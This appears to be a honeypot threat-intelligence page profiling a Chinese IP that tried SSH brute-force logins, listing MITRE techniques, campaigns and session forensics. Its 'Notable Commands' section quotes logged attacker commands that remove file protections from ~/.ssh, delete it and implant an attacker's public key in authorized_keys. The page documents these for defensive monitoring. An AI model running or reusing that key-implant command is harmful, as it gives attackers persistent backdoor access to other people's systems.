IntrusionLabs IntrusionLabs
← Back to feed

220.154.131.139

TAGGED SUSPICIOUS how we decide →
Threat Confidence
63%
Location
🇨🇳 CN
ASN
AS134756 · CHINANET Nanjing Jishan IDC network
Cloud Provider
—
Total Events
26
Average by volume
Agent Count
2
First / Last Seen
2026-05-17 16:05 — 2026-05-22 20:24
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
T1595 T1595.002
Initial Access
T1078
Defense Evasion
T1070.004
Credential Access
T1110 T1110.001
Discovery
T1046
Command and Control
T1105
External Corroboration
Blocklist.de
Reported 2026-05-22 22:02
blocklist_de:reported
Campaigns
Multi-Agent Scan SCAN Active medium
38 IPs 9150 events
2026-05-18 — ongoing · 38 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
157 IPs 214479 events
2026-05-03 — ongoing · 157 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
138 IPs 209697 events
2026-05-03 — ongoing · 138 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Subnet 220.154.131.0/24 SUBNET Active high 🇨🇳 CN
5 IPs 90 events
ssh:bruteforce
2026-04-21 — ongoing · 5 IPs from the same /24 subnet (220.154.131.0/24) were observed attacking our sensors within the same time window. …
Multi-Agent Scan SCAN Active medium
185 IPs 230452 events
2026-03-26 — ongoing · 185 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
158 IPs 105935 events
2026-03-21 — ongoing · 158 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on Linode. Scanning the same …
Multi-Agent Scan SCAN Active medium
128 IPs 206201 events
2026-03-05 — ongoing · 128 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
90 IPs 166543 events
2026-02-27 — ongoing · 90 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Session Forensics
scanner ×1 malware_dropper ×1 credential_probe ×1 opportunistic_bruter ×1
Sessions
4 (2 with login)
Avg Depth Score
0.46
Commands Executed
3
Files Downloaded
1
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
04315067d6e69016cbf86b3b51c90734
SSH Client
SSH-2.0-libssh_0.9.6
Evidence Timeline
Scanner 23d79e0f2820 w4m_singapore_01 · 2026-05-22 20:22
15%
Loading events...
Opportunistic Bruter c0fd987848c7 w4m_seattle_01 · 2026-05-17 16:05
1 50%
Loading events...
Malware Dropper e2e8a646976d w4m_seattle_01 · 2026-05-17 16:05
3 1 1 100%
Loading events...
Credential Probe 0190f9dcbf85 w4m_seattle_01 · 2026-05-17 16:05
1 20%
Loading events...